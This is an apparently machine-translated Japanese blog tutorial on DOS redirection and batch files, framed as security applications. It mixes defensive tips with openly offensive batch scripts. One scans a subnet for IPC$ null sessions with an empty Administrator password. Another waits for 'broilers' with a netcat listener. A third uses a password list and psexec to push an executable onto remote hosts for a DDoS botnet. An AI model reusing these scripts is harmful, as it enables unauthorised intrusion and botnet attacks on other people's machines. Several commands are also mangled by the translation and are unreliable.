DOSリダイレクトコマンドの使い方とセキュリティへの応用
ご存知のように、DOSにはあまり知られていないリダイレクトコマンドという便利なコマンドがあり、Win9x/ME/2000/XPでも使用することができます。-侵入や防御、システム用途に関わらず、非常に便利なものとなります。今日は、リダイレクトコマンドのセキュリティ用途の例をいくつか見てみましょう。
I. コマンドの形式
DOSの標準入出力は、通常、標準デバイスのキーボードとモニターで行われます。その中でも
(1). 大なり記号 ">" は、プリンタ>prn などのファイルやデバイスにコマンドを送ります。大なり記号 ">" を使用する場合、一部のコマンド出力(エラーメッセージなど)をリダイレクトすることができません。
(2). 二重の大なり記号 ">>" は、すでにファイル内にある情報を削除せずに、コマンド出力をファイルの末尾に追加します。
(3). 小なり記号 "<" は、コマンドに必要な入力をキーボードではなく、ファイルから取得します。
(4). >& 記号は、あるデフォルトの I/O ストリーム (stdout,stdin,stderr) からの出力を、別のデフォルトの I/O ストリームにリダイレクトします。
例えば、コマンド >output_file 2>&1 は、コマンド処理中に画面に表示されるすべてのエラーメッセージを標準ファイル出力にリダイレクトします。標準出力に指定する値は以下のとおりです。
標準出力 等価値
標準入力 0
標準出力1
標準エラーコード 2
(1)と(2)はどちらもデータを保持するファイルを作成します。(4)はDOS環境では動作しない場合があります。
II. redirectコマンドの出力
ほとんどすべてのコマンドは、画面に出力を送信します。ドライブやプリンタに出力を送るコマンドでも、画面にメッセージやプロンプトが表示されます。画面からの出力をファイルやプリンタにリダイレクトするには、大なり記号(>)を使用します。大なり記号は、ほとんどのコマンドで使用できます。たとえば、次のコマンドでは、dir コマンドで生成されたディレクトリ一覧は Dirlist.txt ファイルにリダイレクトされます: dir>dirlist.txt Dirlist.txt ファイルが存在しない場合は、このファイルが作成されます。Dirlist.txtが存在する場合、システムはそのファイル内の情報をdirコマンドの出力に置き換えます。
ファイル内の情報を失うことなく、コマンドの出力をファイルの最後に追加するには、二重の大なり記号(>>)を使用します。たとえば、次のコマンドでは、dir コマンドは Dirlist.txt ファイルに追加されるディレクトリのリストを生成します:dir>dirlist.txt コマンドの出力を画面の代わりにファイルやプリンタに送ったり、キーボードからではなくファイルからコマンドへの入力を取得できるのと同様に、コマンドへの入力を再指示します。ファイルから入力を得るには,小文字の記号(<)を使用します.たとえば、次のコマンドは、List.txt ファイルから sort コマンドの入力を取得します:sort
III. 応用例
1. レジストリのロック/アンロック
ご存知の通り、レジストリのHKEY_CURRENT_USERのSoftwareMicrosoftWindowsCurrentVersion PoliciesSystemブランチにあるDWORD値 "Disableregistrytools" のキー値が "1" なら、レジストリをロックして他の誰にもレジストリエディタを使わせないようにすることができます。DOS環境では、redirectコマンドを使用してレジストリをロック/アンロックすることができ、非常に便利です。
メモ帳を開き、新しいテキストファイルを作成し、次のように入力します。
@echo REGEDIT4>>123.reg
@echo.>>123.reg
@echo [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System]>>123.reg
@echo "DisableRegistryTools"=dword:0000000001>>123.reg
@REGEDIT /S /C 123.reg
@deltree /y 123.reg
拡張子が.batのバッチファイルとして保存し、このファイルをクリックするとレジストリがロックされます!
上記コマンドのうち、echo は DOS の echo コマンドで、その前に "@" というプレフィックス文字をつけることで、コマンドラインや DOS で表示されない行であることを表しています。上記のコードを書く場合、1行目の "REGEDIT4" は大文字、2行目の "echo" と " は必ず大文字で書くように注意して下さい。2行目の "echo" と "." の間にはスペースを入れてはいけません。">"で生成された内容は、その次のファイルに追加されます。最終行に deltree /y 123.reg を追加すると、123.reg ファイルが確認なしに削除されます。
レジストリのロックを解除するには、このバッチファイルを編集して、 "DisableRegistryTools"=dword:0000000001 を "DisableRegistryTools"=dword:00000000 に変更し、残りは変更せずに .bat ファイルとして保存して、クリックするとレジストリのロックを解除できるようになります。
2. 3389にログインしているマシンのIPを記録する
以下を3389IP.batとして保存してください。
time /t >>log.log
netstat -n -p tcp |find ":3389">>Log.log
start Explorer
3389IP.batを実行し、log.logファイルを確認すると、3389にログインしたマシンのIPが確認できます、便利でしょう?
3. DOSリアルモードへの復帰
ご存知の通り、悪意のあるWebページの中にはビューアのレジストリを改変するものがあり、様々な仕掛けの中でも、レジストリを改変してDOSリアルモードを利用できなくすることは、その一つです。DOSリアルモードを復元する方法はいろいろありますが、バッチコマンドとリダイレクトコマンドを組み合わせて使うのは、ちょっと変わったトリックの一つですので、ここで紹介します。
echo off
echo REGEDIT4>c:\scanreg.reg
@echo.>>lock.reg
echo [HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\WinOldApp]>>c:\scanreg.reg
echo "NoRealMode"=dword:000000>>c:\scanreg.reg
regedit /s c:\scanreg.reg
@del c:\scanreg.reg
拡張子が.batのバッチファイルとして保存します。このファイルをクリックすると、DOSリアルモードに戻り、それらのDOSアプリケーションが再び使用できるようになります。
4. ブロイラーを待ち構える
毎日ブロイラーを探すのに時間と手間をかけるのは大変ではないでしょうか?リダイレクトコマンドやバッチファイルを使えば、簡単に探すことができますよ。その方法は、メモ帳で新しいテキストファイルを作成し、次のように入力します。
@echo off
:start
nc -vv -w 5 -l -p 80>>rouji.log
goto start
.batファイルとして保存し(あらかじめnc.exeファイルを用意しておく必要があります、ネットワーク障害イベント検出ソフトNetcatのメインプログラムです)、このプログラムを実行すると、ブロイラーが自主的にやってくるのを待つことになりますよ。運が良ければ、1日10個でも問題ありません。
5. 素早く空の接続を行う
空接続とは、サーバーを信頼せずに確立されたセッションのことで、言い換えれば、サーバーへの匿名アクセスのことである。net use \ipc"/user:"" というコマンドで、ターゲットと空の接続を確立できます(ターゲットがIPCを開いていることが必要です)。redirect と for コマンドを使用すると、クラス C セグメントに素早くヌル接続を行い、その結果をファイルに保存して解析することができます。これを行うには、以下の内容のファイルをメモ帳で編集します。
@echo off
echo format:test *. *. *>test.txt
for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \%1.%%Gipc""/use:"Administrator"|find"command complete"& gt;>test.txt
バッチファイルは.batとして保存され、実行することができます。このバッチファイルの機能は、指定したクラスCセグメント内の254のipcに対して、アカウント管理者のパスワードを空にしてipc接続の確立を試み、成功したらその結果をtest.txtに記録することである。forコマンドは、セット内の各ファイルに対して特定のコマンドを実行するもので、つまり、指定した循環範囲を持つ一連のコマンドを生成することができます。
変数です。1 文字で置き換え可能なパラメータを指定します。
(set):ファイルまたはファイルの集合を指定します。ワイルドカードが使用できる。
command:各ファイルに対して実行するコマンドを指定します。
command-parameters:特定のコマンドのパラメータまたはコマンドラインスイッチを指定します。
バッチファイル内で FOR コマンドを使用する場合、変数は %variable ではなく %%variable で指定します。変数名は大文字と小文字を区別しますので、%i は %I とは異なります。
6. 空の接続を無効にする
空の接続は危険なので、無効にするのが一番です! これを行うには、net shareと入力してローカル共有を確認し、次のコマンドを入力して共有を削除します。
<ブロッククオート
net share ipc/deletenetshareadmin /delete
net share c/deletenetshared /delete (e,fなどがある場合は同様に削除します)
次に、メモ帳で新しいテキストファイルを作成し、次のように入力します。
@echo REGEDIT4>>123.reg
@echo.>>123.reg
@echo [HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\LSA]>>123.reg
@echo "RestrictAnonymous"=dword:0000000001>>123.reg
@REGEDIT /S /C 123.reg
@deltree /y 123.reg
拡張子が.batのバッチファイルとして保存し、このファイルをクリックすると空の接続を無効にすることができます。
7. このマシンにTCPプロトコルで接続されているすべてのコンピュータをスキャンする
自分のコンピュータのポートをスキャンして、トロイの木馬をチェックするために開いている特別なポートを見つけるだけでなく、以下のこのバッチファイルを使って、このマシンにTCPプロトコルで接続されているすべてのコンピュータのIPアドレスを記録してください。この.batファイルの内容は、以下の通りです。
data /t>>123.log
time /t>>123.log
netstat -n -p tcp 10>>123.log
これは相手のIPだけでなく、日時も記録されるので、自分でも確認しやすい。
8. DDoSブロイラーを自動で取得
DDoSとは、Distributed Denial of Serviceの頭文字をとったもので、分散型サービス拒否攻撃という意味です。クライアント/サーバー技術を利用して、複数のコンピュータを攻撃プラットフォームとして組み合わせ、1つまたは複数のターゲットに対してDoS攻撃を行い、それによってサービス拒否攻撃の威力を指数関数的に増大させることを指します。通常、攻撃者は盗んだアカウントでDDoSマスターをコンピュータにインストールし、設定された時間にマスターはインターネット上の多くのコンピュータにインストールされた大量のプロキシと通信を行います。プロキシプログラムは、指示を受けると攻撃を開始します。クライアント/サーバー技術を使用することで、マスターは数百、数千のプロキシ実行を数秒で起動することができます。
DDoSの攻撃方法を使うことは推奨されませんが、それでも技術的な習得としては必要です。しかし、ブロイラーにDDoS攻撃をさせるにはどうしたらいいのでしょうか?下記をok.batファイルとして保存すれば、そこにたどり着けるはずです。
@echo off
echo auto-get DDoS broiler
for /f "tokens=1,3*" %i in (host.txt) do net use \\%k\ipc/user:"\sysytem32
if errorelevel 0 goto success
psexec -d \\\%i c:\winnt\system32\%1
net user \\\%i\ipc$ /del
:success
echo ------------------------------>>success.txt
echo broiler:%i>>success.txt
echo Username:%j>>success.txt
echo Password:%k>>success.txt
echo ------------------------------>>success.txt
使い方は、ok.bat *.exe host.txt、host.txtは、ip管理者パスワードの形式です。まあ、早速やってみてください。でも、被害が出るような使い方はしないでくださいね。
実際には、この記事で説明した方法は、主にバッチ処理と関連するコマンドの使用は、接続の役割を果たすためにのみ&quot;コネクタ&quotであるリダイレクトコマンドは、その信用は小さくありません、だから我々はああリダイレクトコマンドを忘れてはならない。この記事はちょうどレンガですが、私はあなたが言いたいことを言うことができることを望む、より多くの指導。この記事を書く際に、私は多くの専門家のフォーラムの投稿を参照しているので、ありがとうございました。
関連
-
テキスト内のデータを集計して出力するバッチバットコード
-
自動コード投入とプロジェクトデプロイメントのためのバッチファイルbatスクリプト
-
DOS比較演算子(LSS,LEQ,GTR,GEQ,EQU,NEQ)
-
1台目のハードディスクの最後のパーティションを決定し、バットコードを入力するバッチ処理
-
cmdで現在のシステム時刻を取得するバット
-
JDKの一括インストール/JREのワンクリックインストールとJava環境変数の自動設定
-
DOSのバッチ処理における%cd%と%~dp0の違いについて説明します。
-
mavenコマンドのBATスクリプトを呼び出して共有する
-
指定したフォルダー内のファイルを遅延して削除する方法
-
FTPファイル一括アップロード
最新
-
nginxです。[emerg] 0.0.0.0:80 への bind() に失敗しました (98: アドレスは既に使用中です)
-
htmlページでギリシャ文字を使うには
-
ピュアhtml+cssでの要素読み込み効果
-
純粋なhtml + cssで五輪を実現するサンプルコード
-
ナビゲーションバー・ドロップダウンメニューのHTML+CSSサンプルコード
-
タイピング効果を実現するピュアhtml+css
-
htmlの選択ボックスのプレースホルダー作成に関する質問
-
html css3 伸縮しない 画像表示効果
-
トップナビゲーションバーメニュー作成用HTML+CSS
-
html+css 実装 サイバーパンク風ボタン
おすすめ
-
phpsh hpcli開発の究極のソリューション(php版切り替えバッチ処理)
-
サービスが正常に稼働しているかどうかを判断するためのBATバッチ処理(バッチ処理コマンド総合アプリ)
-
ウィンドウは、git update (git pull) を定期的に実行するタスクスケジュールを設定し、実行中の cmd を非表示にします。
-
指定されたディレクトリからファイル名を一括で抽出します。
-
管理者ユーザーを作成するためのdosnetの実装
-
バッチ式再帰計算の実装コード N!
-
N日前または指定日時(前後)に作成(または変更)されたファイルをバッチ処理で削除する。
-
DOSバッチ処理応用チュートリアル 第2章 DOSループ for コマンドの解説
-
フォルダ内のサブフォルダやファイルを一定時間ごとにすべて削除する方法
-
複数の新規ドメインをホストに一括で追加